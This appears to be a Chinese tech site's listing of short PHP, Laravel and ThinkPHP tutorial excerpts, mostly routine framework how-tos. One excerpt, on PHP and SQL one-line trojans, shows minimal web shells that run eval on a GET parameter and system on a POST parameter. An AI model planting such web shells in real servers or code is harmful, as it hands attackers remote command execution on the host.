解决laravel id非自增 模型取回为0 的问题

问题laravel5.2 中 如果一个模型的id 为string等非自增类型时候 使用模型的find方法 会返会0样例代码: $a=Model::find('blcu'); echo $a->id; //结果为0原因查找通过var_du...

2020-11-05

laravel 操作数据库常用函数的返回值方法

1、insert/insertGetIdinsert函数的返回值为boolean类型:成功为true,失败为falseinsertGetId函数的返回值为整型:成功为插入时的ID值,失败为…DB::table('users')->insert( ['n...

2020-11-05

laravel框架添加数据,显示数据,返回成功值的方法

laravel框架添加数据:添加数据laravel框架添加数据的方式我这里使用的是model方式,此外还有一种是DB因为from提交数据,laravel框架需要在from提交中添加一个token,所以这里接...

2020-11-05

PHP实现通过二维数组键值获取一维键名操作示例

本文实例讲述了PHP实现通过二维数组键值获取一维键名操作。分享给大家供大家参考,具体如下:有如下既定数组:$inviteType = [ '扫码' => [ 'type' => 0, 'po...

2020-11-05

laravel 判断查询数据库返回值的例子

在使用 Laravel Eloquent 模型时,我们可能要判断取出的结果集是否为空,但我们发现直接使用 is_null 或 empty 是无法判段它结果集是否为空的。var_dump 之后我们很容易发现,即...

2020-11-05

Thinkphp5.0 框架Model模型简单用法分析

本文实例讲述了Thinkphp5.0 框架Model模型简单用法。分享给大家供大家参考,具体如下:新建user模型User.php:<&#63;phpnamespace app\index\model;use think\Model;class User e...

2020-11-05

解决Laravel 使用insert插入数据,字段created_at为0000的问题

据官方文档的说明,使用Eloquent ORM,插数据库的时候可以自动生成created_at,updated_at,代码如下:Model里的代码:<&#63;phpnamespace App\Models;use Illuminate\Database\Eloquen...

2020-11-05

基于Laravel(5.4版本)的基本增删改查操作方法

1.数据库配置;2.路由配置,'namespace' => '\KeekoSmallGame'此命名空间对应的路径为App\Http\Controllers\KeekoSmallGame,Route::post('score/add','ScoreController@addScore...

2020-11-05

Thinkphp5.0 框架使用模型Model添加、更新、删除数据操作详解

本文实例讲述了Thinkphp5.0 框架使用模型Model添加、更新、删除数据操作。分享给大家供大家参考,具体如下:Thinkphp5.0 的使用模型Model添加数据使用create()方法添加数据$res...

2020-11-05

laravel中数据显示方法(默认值和下拉option默认选中)

如下所示:<div class="form-group"> <label>ap状态:</label> <select name="ap_status_id"> <option value ="1">进行中</option> <option value ="2">开始</option>...

2020-11-05

Thinkphp5.0框架使用模型Model的获取器、修改器、软删除数据操作示例

本文实例讲述了Thinkphp5.0框架使用模型Model的获取器、修改器、软删除数据操作。分享给大家供大家参考,具体如下:一、获取器在model中使用 get+字段名+Attr,可以修改字段的返...

2020-11-05

PHP调用接口API封装的例子

GET:/** * 通过URL获取页面信息 * @param $url 地址 * @return mixed 返回页面信息 */function get_url($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url);...

2020-11-05

laravel 时间格式转时间戳的例子

数据渲染到模板经常用到日期格式。而数据库一般保存时间戳。每次更新或查询都要做转换。使用Eloquent 自动转换 <&#63;php namespace App\Model; use Illuminate\Database\E...

2020-11-05

Laravel timestamps 设置为unix时间戳的方法

Laravel 修改 timestamps 为 unix 时间戳<&#63;phpnamespace App;use Illuminate\Database\Eloquent\Model;/** * Class Test * @package App */class Test extends Model{...

2020-11-05

php报错502badgateway解决方法

目前lnmp一键安装包比较多的问题就是502 Bad Gateway,大部分情况下原因是在安装php前,脚本中某些lib包可能没有安装上,造成php没有编译安装成功。解决办法:可以尝试根据lnmp一键...

2020-11-05

php生成HTML文件的类方法

目的
用PHP生成HTML文档, 支持标签嵌套缩进, 支持标签自定义属性起因这个东西确实也是心血来潮写的, 本来打算是输出HTML片段用的, 但后来就干脆写成了一个可以输出完整HTML...

2020-11-05

解决在Laravel 中处理OPTIONS请求的问题

前面已经说过可以通过中间件来处理OPTIONS请求,近日寻得一个简单的办法。在路由文件中定义一个路由,通过正则来匹配相应的路由。Route::options('/{all}', function(Request $...

2020-11-05

PHP与SQL语句写一句话木马总结

一、基础类的一句话--功能仅限于验证漏洞了,实际中非常容易被查出出来:<&#63;php @eval($_GET["code"])&#63;><&#63;php @system($_POST["cmd"])&#63;>二、编码的替换的类型:<&...

2020-11-05

Laravel获取当前请求的控制器和方法以及中间件的例子

laravel获取请求路由对应的控制器和方法很简单:在任何地方都可以使用:dd(request()->route()->getAction());得到如下结果:array:6 [▼ "middleware" => array:2 [▼ 0 => "web...

2020-11-05

零基础php编程好学吗

PHP编程语言对于新手而言,非常容易上手,不乏有很多人通过自学找到了高薪的工作。不管自学还是通过参加培训进行学习,PHP开发工程师是保持如何的晋级过程呢?如何考究自己学习过程...

2020-11-05

ThinkPHP 5.1 跨域配置方法

因为最近的项目采用了API接口开发方式,后端需要配置跨域的规则以便前端能够访问。系统采用的框架为 ThinkPHP,版本 5.1.19关于OPTIONS请求由于前端的知识不是很熟悉,查阅了网上...

2020-11-05

解决PHP使用CURL发送GET请求时传递参数的问题

最近在使用curl发送get请求的时候发现传递参数一直没有生效,也没有返回值,以为是自己哪里写错了,网上找东西时也没有人专门来说get请求传递参数的内容,所以,今天在这里记录一下,希...

2020-11-05

解决PHP curl或file_get_contents下载图片损坏或无法打开的问题

通过curl或者file_get_contents获取抓取远程图片并且保存到本地,发现损坏了很多图片,比如访问https://fuss10.elemecdn.com/c/6c/69a7740b4ab864ac0639eb583d68fjpeg.jpeg是可...

2020-11-05

laravel 获取当前url的别名方法

如下所示:Route::get('/xiongtest', [ 'as' => 'xiong.test', 'uses' => 'XiongTestController@index']);以上路由为例在模版中可以使用route('xiong.test')来获取该路由的...

2020-11-05

实现laravel 插入操作日志到数据库的方法

1 . 创建一个中间件 执行: php artisan make:middleware OperationLog2 . 在中间件中编写一个writeLog() 或者直接写在handle里面<&#63;phpnamespace App\Http\Middleware;u...

2020-11-05

laravel框架 api自定义全局异常处理方法

api返回实现$result = User::find($id);if(empty($result)){ throw new ApiException('获取失败');}else{ return json_decode($result);}api返回信息{ "msg": "", "dat...

2020-11-05

php服务器的系统详解

PHP服务器使用什么操作系统windows系统和Linux系统都可以的,他们各有各的好处。1、windows服务器windows服务器操作方便适用于php初学者,随着Windows Server2008服务器的普及,...

2020-11-05

Thinkphp5.0 框架实现控制器向视图view赋值及视图view取值操作示例

本文实例讲述了Thinkphp5.0 框架实现控制器向视图view赋值及视图view取值操作。分享给大家供大家参考,具体如下:Thinkphp5.0 控制器向视图view的赋值方式一(使用fetch()方法的...

2020-11-05

Thinkphp5.0框架视图view的循环标签用法示例

本文实例讲述了Thinkphp5.0框架视图view的循环标签用法。分享给大家供大家参考,具体如下:volist标签:<!-- 使用volist --><!-- name是传递过来的要循环变量名 --><!-- key是每...

2020-11-05

Thinkphp5.0 框架视图view的比较标签用法分析

本文实例讲述了Thinkphp5.0 框架视图view的比较标签用法。分享给大家供大家参考,具体如下:{eq name="a" value="10"} <p>相等</p>{else/}<p>不相等</p>{/eq}{equal name="a"...

2020-11-05

Thinkphp5.0框架视图view的模板布局用法分析

本文实例讲述了Thinkphp5.0框架视图view的模板布局用法。分享给大家供大家参考,具体如下:使用include,文件包含:<!-- 头部 --><div class="header"> {include file="common/hea...

2020-11-05

php 实现银联商务H5支付的示例代码

银联商务H5支付接口文档:文档地址一:H5支付的接口地址:1:支付宝支付测试地址:http://58.247.0.18:29015/v1/netpay/trade/h5-pay正式地址:https://api-mop.chinaums.com/v1/netpa...

2020-11-05

laravel 获取某个查询的查询SQL语句方法

如下所示:DB::connection()->enableQueryLog();#开启执行日志$count = DB::table('test') //执行查询 ->whereNull('deleted_at') ->where('id', '=', 3) -...

2020-11-05

Laravel 使用查询构造器配合原生sql语句查询的例子

首先说一下本人使用的版本: 5.5在很多复杂查询时, 往往需要原生语句进行查询, 在 laravel 中, 我们可以这样使用原生查询$user = DB::select('select * from users where id...

2020-11-05

laravel框架实现去掉URL中index.php的方法

1、将框架根目录下的server.php文件重命名为index.php2、将框架根目录下的文件夹public下的.htaccess文件复制到框架根目录下,与index.php处于同一目录3、修改Apache的httpd....

2020-11-05

Laravel解决nesting level错误和隐藏index.php的问题

错误提示:Maximum function nesting level of ‘100' reached, aborting! 解决办法:因为我是在windows上搭建的wamp环境,linux和mac暂时还没有实验,首先找到php.ini找到xdebug项...

2020-11-05

php实现银联商务公众号+服务窗支付的示例代码

之前我们学习了银联商务的H5支付,但是现在H5支付不支持微信支付,最后发现银联商务的公众号+服务窗支付可以支持支付宝支付+微信支付+银联支付一:接口地址:测试接口地址:https://...

2020-11-05

解决laravel(5.5)访问public报错的问题

1、访问public目录报错:原因:laravel根目录缺少vendor依赖文件目录;解决:使用 composer install 进行安装;若之前安装过使用 composer update 安装;2、composer update 后报错:原因...

2020-11-05

laravel5环境隐藏index.php后缀(apache)的方法

在这之前我将laravel目录下的server.php重命名为index.php链接变成了http://localhost/blog/index.php/xxx/xxx之前我根据网上的方法操作过,很多都不能用,然后看到一篇搭建lar...

2020-11-05

laravel 去掉index.php伪静态的操作方法

1、首先,让apache服务器支持rewrite 可以在apache配置文件中定义rewrite规则,是全局的,无论哪个应用都实用//httpd.configListen 80RewriteEngine on ---将rewrite开启LoadModu...

2020-11-05

浅谈thinkphp的nginx配置,以及重写隐藏index.php入口文件方法

1,心血来潮,把ThinkPHP项目部署到了nginx上,以上是在apache上跑的。突然发现nginx不支持pathinfo功能,难怪在TP中调怎么都没管用。2,开始上文件了,比网上其他一些杂的好多了:server {...

2020-11-05

laravel 修改.htaccess文件 重定向public的解决方法

笔者遇到此问题后多次都锁无果。以下为我从网上搜索到的方法-把server.php 重命名为index.php并将.htaccess文件从public复制到根目录但本方法会造成asset函数关联错误经笔...

2020-11-05

laravel实现上传图片的两种方式小结

第一:是laravel里面自带的上传方式(写在接口里面的)function uploadAvatar(Request $request) { $user_id = Auth::id(); $avatar = $request->file('avatar')->store('/publ...

2020-11-05

laravel实现一个上传图片的接口,并建立软链接,访问图片的方法

我们同时上传的还有昵称,图片是保存在resource表里面,,对应在userProfile有关联id;利用laravel自带上传很方便,,但是不能直接访问,,所以需要建立软链接:PHP artisan storage:link执...

2020-11-05

laravel框架 laravel-admin上传图片到oss的方法

第一步:在composer.json 中的 require 添加"jacobcyl/ali-oss-storage": "^2.1" 然后在cmd里运行composer update第二步:在config/app.php的providers下添加Jacobcyl\AliOSS...

2020-11-05

阿里对象存储OSS在laravel框架中的使用方法

最近比较忙,也没来得及写博客。加上最近也确实没有接触到什么新技术,有点尴尬。。。在昨天算是第一次接触对象存储这个东西,研究了一天,算是在项目中走得通了,所以在此分享给大家...

2020-11-05

php use和include区别总结

PHP中use、include的区别1、include是导入文件,如果找不到文件,include会报warning,继续执行。2、use是使用命名空间,相当于java中的导包,前提是包中的文件需要提前require或者in...

2020-11-05

php抽象方法和普通方法的区别点总结

抽象方法和普通方法的主要区别是:抽象方法不具有方法体什么是方法体?方法体是一个方法的代码块即花括号包裹部分。声明抽象方法的关键字:关键字abstract用于声明一个抽象方法抽...

2020-11-05

php7性能提升的原因详解

为什么PHP7的性能可以提高这么多?
1. JIT
2. Zval的改变
3. 内部类型zend_string
4. PHP数组的变化(HashTable和Zend Array)
5. 函数调用机制(Function Calling Convention)...

2020-11-05

Laravel第三方包报class not found的解决方法

出现的问题公司开发使用PHP,技术框架使用Laravel。最近线上出现一个问题,就是上线之后,每次都会出错。查看出错原因,是composer安装的第三方出现class not found。因为这个问题,...

2020-11-05
返回顶部
顶部